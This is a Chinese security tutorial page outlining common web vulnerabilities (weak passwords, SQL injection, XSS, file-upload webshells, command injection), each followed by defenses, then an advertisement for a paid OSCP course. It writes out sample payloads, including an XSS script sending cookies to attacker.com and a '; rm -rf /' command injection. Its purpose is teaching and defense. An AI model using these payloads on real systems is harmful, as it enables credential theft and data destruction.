当前位置: 首页 > news >正文

网络安全渗透有什么常见的漏洞吗?

弱口令与密码安全问题

THINKMO

01

暴力破解登录(Weak Password Attack)

图片

在某次渗透测试中,测试人员发现一个网站的后台管理系统使用了非常简单的密码 admin123,而且用户名也是常见的 admin。那么攻击者就可以通过暴力破解工具,使用最简单的字典攻击方式遍历尝试大量常见密码,这么简单的密码,攻击者几乎可以瞬间测试成功,然后登录到你们的后台。

那么攻击者测试出密码之后,危害自然是不言而喻的。

危害

攻击者可以通过后台访问和控制系统,执行任意操作,包括删除数据、篡改网站内容、盗取用户数据等。

而且一旦获取了管理员权限,攻击者可能进一步执行恶意代码,甚至对整个服务器进行控制。

如何防护?

1.使用复杂密码:密码应该包含字母、数字和特殊符号,长度建议不少于12位。

2.启用多因素认证(MFA):即使密码泄露,攻击者也无法轻易突破。

3.定期更新密码:定期更新密码,避免长期使用同一密码。

SQL注入(SQL lnjection)

THINKMO

02

02

使用SQL注入攻击获取用户信息

图片

某电商平台存在一个用户登录接口,用户的用户名和密码通过 URL 参数传递给后端进行查询。攻击者构造恶意 URL,比如使用常见的 ' OR '1'='1 作为用户名和密码传入:

http://example.com/login?username=admin' OR '1'='1'&password=' OR '1'='1

那么后台的 SQL 查询语句就是这样构造的:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '';

由于 '1'='1' 始终为真,查询结果将返回所有用户的数据,这就意味着攻击者可以拿到这个用户的密码。

危害

攻击者可以窃取到所有用户的信息,包括用户名、密码和其他敏感数据。

对于攻击者拿到的用户如果没有有效的权限控制,攻击者甚至可以篡改数据库内容,删除或添加数据。

防护要点

1.使用预处理语句(Prepared Statements)例如在 PHP 中使用 PDO 或 MySQLi 来执行 SQL 查询,防止 SQL 注入。

示例:

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");$stmt->execute(['username' => $username, 'password' => $password]);

2.输入验证和过滤:确保用户输入的数据经过过滤和转义,特别是特殊字符(如 '、"、--)需要转义。

跨站脚本攻击(XSS)

THINKMO

03

03

恶意脚本窃取用户Cookie

图片

某社交网站允许用户输入自己的昵称和个人签名,并在页面上显示出来。攻击者在昵称输入框中输入如下内容:

<script>document.location='http://attacker.com?cookie=' + document.cookie;</script>

当正常用户访问该页面时,嵌入的 JavaScript 脚本会执行,将用户的 Cookie 信息发送到攻击者指定的服务器上,攻击者就能窃取到用户的登录信息。

危害

攻击者能够窃取用户的登录信息、会话 Token 等敏感信息。

若攻击者窃取到管理员的 Cookie,可能获得管理权限,导致系统被完全控制。

防护要点

1.输出编码:在将用户输入内容插入页面时,应该对输入内容进行 HTML 编码,防止脚本执行。

示例:使用 htmlspecialchars() 函数将特殊字符转义。

echo htmlspecialchars($user_input);

2.输入验证:对于所有用户输入的内容进行严格验证,尤其是脚本标签、<script>、<img>、<iframe> 等 HTML 标签。

3.启用 Content Security Policy(CSP):CSP 可限制浏览器加载脚本的来源,进一步减少 XSS 攻击的风险。

文件上传漏洞

THINKMO

04

04

上传WebShell获得服务器控制

图片

某应用系统允许用户上传图片作为个人头像。攻击者通过上传一个恶意的 .php 文件(比如 shell.php),并通过修改文件扩展名使其看似正常的图片文件(如 .jpg),成功上传到服务器。

上传后的文件可以通过 URL 访问,比如攻击者通过访问 http://example.com/uploads/shell.php,从而获得服务器的控制权限。

危害

攻击者通过 WebShell 获得了对服务器的完全控制,可以执行任意命令,篡改文件、盗取数据或进行进一步的攻击。

可能导致数据泄露、业务中断或系统被黑客控制。

防护要点

1.限制文件类型:对上传的文件类型进行严格检查,仅允许上传特定类型的文件(如 .jpg、.png 等)

2.文件名检查:对于上传文件的文件名进行验证,禁止包含特殊字符(如 .php、% 等)

3.限制文件权限:确保上传的文件不具有执行权限,可以通过修改文件目录的权限来实现。

命令注入漏洞(Command Injection)

THINKMO

05

05

命令注入导致系统控制

图片

某网站的管理后台提供了“服务器状态”查看功能,用户可以选择某个服务器并查询其状态。后台的实现代码直接将用户输入拼接到系统命令中:

ping -c 4 $user_input攻击者通过输入 ; rm -rf /,成功将恶意命令注入:ping -c 4 ; rm -rf /

该命令会首先执行 ping 操作,然后执行 rm -rf / 命令,删除服务器上的所有文件。

危害

攻击者可以在服务器上执行任意命令,可能导致系统崩溃或完全丧失数据。

如果攻击者具有足够的权限,还可以篡改系统配置,窃取敏感信息。

防护要点

1.禁止直接执行用户输入的命令:不要直接将用户输入用于构造系统命令。

2.输入验证与过滤:对用户输入进行严格的验证,确保只允许预期的输入类型。

3.最小权限原则:确保应用程序运行时的权限有限,避免执行敏感操作。

这几个是网络安全渗透测试中常见的漏洞,每一种漏洞都有独特的攻击方式,但是也都有防护措施,我们要理解和掌握这些漏洞的原理和防护技巧,从而才能用来攻击或者防御,这几种攻击是启蒙网络安全最基本的几个漏洞,有兴趣可以学习一下。

五、OSCP

OSCP是Kali官方推出的一个认证,没有要求考试的限制(成年即可),国际证书含金量 很高是业内红队最知名的渗透测试专业证书,相对来说获得难度也高,但是相对于没有基础想借考OSCP练基础能力、练渗透测试思维、练实战的人来说也是友好的,我就是当时直接从web开始基础没咋练,就借着这OSCP去扎实的练扎实的学,拿到这个OSCP也就是有红队中级的实力的,到时如果找工作的话就碾压同级拿nisp、cisp等等的,去考这些证书不如一步到位,因为泷羽sec的小羽要考所以泷哥就提前开了这OSCP培训课,但是因为各种靶场各种理论太费时间压力也很大所以才收费,但是价格也是很照顾我们了,那些机构1w+的培训费用,泷羽4000就可以,如果是学生的话提供证明还会优惠500,OSCP理论基础靶场加官方靶场200+将自己的能力真实的得到练习,从信息收集到最终的权限提升,独立机器环境、域环境全方位练习,小羽到时候先考,大家也不用慌张。现在nisp、cisp这些证书人手一个,现在最主要的就是拿到一个有竞争力的证书,与切实的技术与能力,否则在当前网络行业越来越多人涌入的环境下,我们后面的路只会更紧张,所以OSCP越早拿越好,越早拿越吃香(oscp题目难度每年也会提高),如果有想了解泷羽现在OSCP课程的可以联系我。

六、总

在这条道路上虽说走了两个半月,但是每天都在学习,每天都有收获都感受到自己的提升,执行力是决定未来的真正因素,从学习者到一名分享者,然后到最后的开拓者,这是一件非常有意义的事情,不管是为自己还是为国为家都要从这条路上付出努力,成就未来。如果你也正在这条路上前行,不妨互相认识一下,互相学习、互相成长,大家都有着一个共同的目标,向着一个方向共同的努力,那这样未来我国的网络安全行业终究有我们的一席之地!未来世界网络安全上也终究有中国的一席之地!

欢迎大家来认识我。

相关文章:

网络安全渗透有什么常见的漏洞吗?

弱口令与密码安全问题 THINKMO 01 暴力破解登录&#xff08;Weak Password Attack&#xff09; 在某次渗透测试中&#xff0c;测试人员发现一个网站的后台管理系统使用了非常简单的密码 admin123&#xff0c;而且用户名也是常见的 admin。那么攻击者就可以通过暴力破解工具&…...

2024年合肥师范学院信息安全小组内部选拔赛(c211)WP

目录 前言MISC签到题_熟悉吗又来一道签到题文件包含 CRYPTO古典1古典2RSA webbaby_sql 前言 [HFNU 校级选拔] 已经结束&#xff0c;接下来一起了解下题目是怎么做的。 通过网盘分享的文件&#xff1a;ARCHPR_4.66.266.0_汉化绿色版.7z 链接: https://pan.baidu.com/s/1N_c0PJX…...

GESP CCF C++八级编程等级考试认证真题 2024年12月

202412 GESP CCF C八级编程等级考试认证真题 1 单选题&#xff08;每题 2 分&#xff0c;共 30 分&#xff09; 第 1 题 小杨家响应国家“以旧换新”政策&#xff0c;将自家的汽油车置换为新能源汽车&#xff0c;正在准备自编车牌。自编车牌包括5 位数字或英文字母&#xff0c…...

GlusterFS 部署全攻略:详细步骤与要点解析(上)

文章目录 1、二进制部署1.1 安装yum源1.2 准备服务器1.3 添加本地解析1.4关闭防火墙及selinux1.5 加载内核模块1.6 格式化分区和挂载brick1.7 安装GlusterFS1.8 iptables配置1.9 配置可信任池1.10 设置GlusterFS卷1.11 测试volume卷 2、使用heketi将二进制GlusterFS集群作为k8s…...

充分利用 AIStor 的网络配置

![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img-home.csdnimg.cn/images/20230724024159.png?origin_urlhttps%3A%2F%2Ffiles.mdnice.com%2Fuser%2F41350%2F4ce80f61-875a-493b-a4ad-e884d7835be1.png&pos_idimg-flS gQlNx-1734678799…...

算法题(10):好数

审题&#xff1a; 需要判断出1-N的范围内有多少个好数&#xff0c;并输出 思路&#xff1a; 遍历数据&#xff1a;需要用for循环&#xff08;从1循环到N&#xff09; 每一位判断&#xff1a;用while循环&#xff0c;先从个位开始&#xff0c;每循环一次就让记录位数的变量&…...

使用二分查找法找出给定点距离给定点集合距离最近的点

1、场景描述 给定点Point A &#xff08;x,y&#xff09;和 直线点集合 Points [(x1,y1),(x2,y2),(x3,y3),(x4,y4),(x5,y5)......],计算出集合中距离点A最近的一个点 &#xff08;如果集合中的两个点距离A点最近且相等&#xff0c;则只取其中一个&#xff09; 2、代码&#x…...

国标GB28181协议平台Liveweb:搭建建筑工地无线视频联网监控系统方案

随着科技高速发展&#xff0c;视频信号经过数字压缩&#xff0c;通过互联网宽带或者移动4G网络传递&#xff0c;可实现远程视频监控功能。将这一功能运用于施工现场安全管理&#xff0c;势必会大大提高管理效率&#xff0c;提升监管层次。而这些&#xff0c;通过Liveweb监控系统…...

构建MacOS应用小白教程(打包 签名 公证 上架)

打包 在package.json中&#xff0c;dependencies会被打进 Electron 应用的包里&#xff0c;而devDependencies则不会&#xff0c;所以必要的依赖需要放到dependencies中。files中定义自己需要被打进 Electron 包里的文件。以下是一个完整的 mac electron-builder的配置文件。 …...

Nginx 双向链表 ngx_queue_t

目录 一、基本概述 二、数据结构 三、接口描述与实现 1、相关宏接口 2、ngx_queue_middle 3、ngx_queue_sort 四、使用案例 整理自 nginx 1.9.2 源码 和 《深入理解 Nginx&#xff1a;模块开发与架构解析》 一、基本概述 双向链表的优势是可以快速进行数据插入、删除与…...

【vue】npm install 报错 python2 Error: not found: python2

如图所示&#xff0c;vue项目在下载依赖的时候报错找不到python2&#xff0c;有网友通过下载python2.7并配置环境变量解决了&#xff0c;这里有两个其他自测可用的方式&#xff0c;供各位作为参考。 报错的主要原因是因为【sass-loader】【node-sass】这两个依赖跟nodejs版本有…...

CS 144 check3: the TCP sender

Lecture Notes 略 Exercises 现在&#xff0c;在check3中&#xff0c;您将实现连接的另一边。 TCPSender是一种工具&#xff0c;它从出站字节流转换为将成为不可靠数据报的有效负载的段。 TCP sender的任务是确保receiver至少收到每个bytes一次。任务&#xff1a; 1、跟踪…...

Deepin/Linux clash TUN模式不起作用,因网关导致的问题的解决方案。

网关导致的问题的解决方案 查看路由 ip route寻找默认路由 默认路由应当为Mihomo default dev Mihomo scope link 如果不是&#xff0c;则 sudo ip route add default dev Mihomo在clash TUN开关状态发生变化时&#xff0c;Mihomo网卡会消失&#xff0c;所以提示找不到网卡…...

Tomato 靶机(通关攻略)

点击开启靶机 去kali终端输入 arp-scan -l //扫描靶机IP 扫出靶机IP192.168.131.171 第一步&#xff1a;信息收集 端口扫描 nmap -p- 192.168.131.171 敏感目录扫描 dirb http://192.168.131.171 总结&#xff1a; IP&#xff1a;192.168.168.131 开放端口&#xff1a;2…...

服务器被入侵登录不上怎么办?

在数字化时代&#xff0c;服务器作为数据存储与业务运行的核心载体&#xff0c;其安全性直接关系到企业的生死存亡。然而&#xff0c;随着网络攻击手段的不断升级&#xff0c;服务器被入侵的事件屡见不鲜&#xff0c;导致系统瘫痪、数据泄露等严重后果。当您发现自己的服务器被…...

达梦官方工具 SQLark数据迁移(oracle->达梦数据库)

应国产化需求需要,需将系统中涉及的各中间件替换成国产中间件,此文介绍了从Oracle迁移数据至达梦dm8的步骤,该文在windos环境下已验证测试过 1 SQLark介绍 SQLark是一款专为信创应用开发者设计的数据库开发和管理工具。它支持快速查询、创建和管理多种类型的数据库系统&#xf…...

redis数据类型:list

list 的相关命令配合使用的应用场景&#xff1a; 栈和队列&#xff1a;插入和弹出命令的配合&#xff0c;亦可实现栈和队列的功能 实现哪种数据结构&#xff0c;取决于插入和弹出命令的配合&#xff0c;如左插右出或右插左出&#xff1a;这两种种方式实现先进先出的数据结构&a…...

.NET周刊【12月第2期 2024-12-08】

国内文章 终于解决了.net在线客服系统总是被360误报的问题&#xff08;对软件进行数字签名&#xff09; https://www.cnblogs.com/sheng_chao/p/18581139 升讯威在线客服与营销系统由.net core和WPF开发&#xff0c;旨在开放、开源、共享。开发者为解决360与其他国产管家的误…...

C#—扩展方法

扩展方法 扩展方法是C#中一种特殊的静态方法&#xff0c;它定义在一个静态类中&#xff0c;但是可以像实例方法一样被调用&#xff0c;使得代码看起来更为直观和易于阅读。扩展方法允许你在不修改原始类的情况下&#xff0c;添加新的方法到现有的类型中。 有↓箭头的是扩展方…...

金碟中间件-AAS-V10.0安装

金蝶中间件AAS-V10.0 AAS-V10.0安装 1.解压AAS-v10.0安装包 unzip AAS-V10.zip2.更新license.xml cd /root/ApusicAS/aas# 这里要将license复制到该路径 [rootvdb1 aas]# ls bin docs jmods lib modules templates config domains …...

ES6从入门到精通:前言

ES6简介 ES6&#xff08;ECMAScript 2015&#xff09;是JavaScript语言的重大更新&#xff0c;引入了许多新特性&#xff0c;包括语法糖、新数据类型、模块化支持等&#xff0c;显著提升了开发效率和代码可维护性。 核心知识点概览 变量声明 let 和 const 取代 var&#xf…...

2024年赣州旅游投资集团社会招聘笔试真

2024年赣州旅游投资集团社会招聘笔试真 题 ( 满 分 1 0 0 分 时 间 1 2 0 分 钟 ) 一、单选题(每题只有一个正确答案,答错、不答或多答均不得分) 1.纪要的特点不包括()。 A.概括重点 B.指导传达 C. 客观纪实 D.有言必录 【答案】: D 2.1864年,()预言了电磁波的存在,并指出…...

在 Nginx Stream 层“改写”MQTT ngx_stream_mqtt_filter_module

1、为什么要修改 CONNECT 报文&#xff1f; 多租户隔离&#xff1a;自动为接入设备追加租户前缀&#xff0c;后端按 ClientID 拆分队列。零代码鉴权&#xff1a;将入站用户名替换为 OAuth Access-Token&#xff0c;后端 Broker 统一校验。灰度发布&#xff1a;根据 IP/地理位写…...

页面渲染流程与性能优化

页面渲染流程与性能优化详解&#xff08;完整版&#xff09; 一、现代浏览器渲染流程&#xff08;详细说明&#xff09; 1. 构建DOM树 浏览器接收到HTML文档后&#xff0c;会逐步解析并构建DOM&#xff08;Document Object Model&#xff09;树。具体过程如下&#xff1a; (…...

自然语言处理——Transformer

自然语言处理——Transformer 自注意力机制多头注意力机制Transformer 虽然循环神经网络可以对具有序列特性的数据非常有效&#xff0c;它能挖掘数据中的时序信息以及语义信息&#xff0c;但是它有一个很大的缺陷——很难并行化。 我们可以考虑用CNN来替代RNN&#xff0c;但是…...

什么是Ansible Jinja2

理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具&#xff0c;可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板&#xff0c;允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板&#xff0c;并通…...

AspectJ 在 Android 中的完整使用指南

一、环境配置&#xff08;Gradle 7.0 适配&#xff09; 1. 项目级 build.gradle // 注意&#xff1a;沪江插件已停更&#xff0c;推荐官方兼容方案 buildscript {dependencies {classpath org.aspectj:aspectjtools:1.9.9.1 // AspectJ 工具} } 2. 模块级 build.gradle plu…...

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据 Power Query 具有大量专门帮助您清理和准备数据以供分析的功能。 您将了解如何简化复杂模型、更改数据类型、重命名对象和透视数据。 您还将了解如何分析列&#xff0c;以便知晓哪些列包含有价值的数据&#xff0c;…...

C++:多态机制详解

目录 一. 多态的概念 1.静态多态&#xff08;编译时多态&#xff09; 二.动态多态的定义及实现 1.多态的构成条件 2.虚函数 3.虚函数的重写/覆盖 4.虚函数重写的一些其他问题 1&#xff09;.协变 2&#xff09;.析构函数的重写 5.override 和 final关键字 1&#…...

省略号和可变参数模板

本文主要介绍如何展开可变参数的参数包 1.C语言的va_list展开可变参数 #include <iostream> #include <cstdarg>void printNumbers(int count, ...) {// 声明va_list类型的变量va_list args;// 使用va_start将可变参数写入变量argsva_start(args, count);for (in…...